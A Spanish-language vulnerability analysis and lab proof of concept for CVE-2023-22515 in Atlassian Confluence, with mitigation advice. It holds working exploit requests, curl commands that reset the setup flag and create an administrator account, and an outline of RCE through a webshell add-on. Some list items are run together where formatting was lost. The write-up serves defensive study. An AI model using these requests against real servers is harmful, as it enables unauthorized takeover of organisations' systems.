
Análisis detallado y exploit de prueba de concepto para CVE-2023-22515, una vulnerabilidad crítica de control de acceso roto en Atlassian Confluence Data Center y Server, que permite la creación de cuentas de administrador sin autenticación y posible ejecución remota de código.
CVE-2023-22515 es una vulnerabilidad crítica de Control de Acceso Roto (Broken Access Control) encontrada en los productos Atlassian Confluence Data Center y Server. Un atacante no autenticado puede reactivar de forma remota el proceso de configuración inicial del servidor, y a través de esto, crear una nueva cuenta de administrador para tomar el control total del sistema.
El núcleo de esta vulnerabilidad radica en la verificación insuficiente entre el mecanismo de enlace de parámetros del framework XWork2 y la lógica de procesamiento de acciones de Confluence.
Un atacante puede manipular el valor de bootstrapStatusProvider.applicationConfig.setupComplete a false a través de un parámetro URL. Este atributo es una bandera importante que determina si Confluence ha completado la instalación y configuración.
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
Al enviar esta solicitud, el servidor reconoce en memoria que la configuración no está completa. Esto no modifica el archivo de configuración persistente (confluence.cfg.xml), pero cambia el estado en tiempo de ejecución, permitiendo eludir los controles de acceso.
/server-info.action mientras pasa el parámetro bootstrapStatusProvider.applicationConfig.setupComplete=false./setup/*./setup/setupadministrator.action y crea una nueva cuenta de administrador del sistema.Se construyó un servidor Confluence de la versión vulnerable (8.5.1) usando Docker.
atlassian/confluence-server:8.5.1docker-compose.yml (resumen):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... configuración de DB ...
Para evitar problemas de dependencias de Python, se creó y ejecutó un PoC como script Bash usando curl.
Flujo del exploit:
Restablecer el estado de configuración:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
Resultado: Se devuelve una respuesta de redirección HTTP 302, confirmando que el estado de configuración completada se ha desactivado internamente.
Crear administrador:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
Resultado: Se intentó crear la cuenta hacked_admin mediante esta solicitud; posteriormente, es posible acceder con esa cuenta desde la página de inicio de sesión.
Se debe actualizar inmediatamente a la última versión proporcionada por Atlassian.
Si no es posible aplicar el parche, se debe bloquear el acceso al endpoint /setup/* a nivel de red (balanceador de carga, WAF, proxy inverso, etc.).
/setup/*Un atacante que obtiene privilegios de administrador a través de CVE-2023-22515 puede pasar a la etapa de ejecución de comandos del sistema (RCE).
Confluence otorga a los administradores permisos para instalar complementos (add-ons). Un atacante puede abusar de esto cargando un complemento malicioso que incluya funcionalidad de webshell, obteniendo así control sobre el sistema operativo del servidor.
/setup/finishsetup.action (requiere eludir la licencia) o navegar por los menús de administrador accesibles utilizando sesiones existentes.Confluence Administration -> Manage Apps -> Upload App.jar que contiene clases Java maliciosas/plugins/servlet/webshell?cmd=id) para ejecutar comandos del sistema.Este entorno de práctica (Docker) no tiene una licencia válida de Confluence, por lo que no se puede completar la etapa de configuración inicial. Por lo tanto, aunque la solicitud de creación de cuenta de administrador tuvo éxito (redirección 302), el acceso posterior al menú de complementos y la ejecución real de RCE estuvieron limitados. En un entorno de producción real, la licencia está registrada, por lo que RCE es posible de inmediato sin estas limitaciones.
CVE-2023-22515 es una vulnerabilidad muy peligrosa que permite obtener privilegios de administrador sin autenticación. El ataque es posible simplemente manipulando parámetros de URL, lo que hace que la dificultad del ataque sea muy baja. Por lo tanto, las organizaciones que utilizan versiones afectadas deben aplicar parches o medidas de mitigación de inmediato.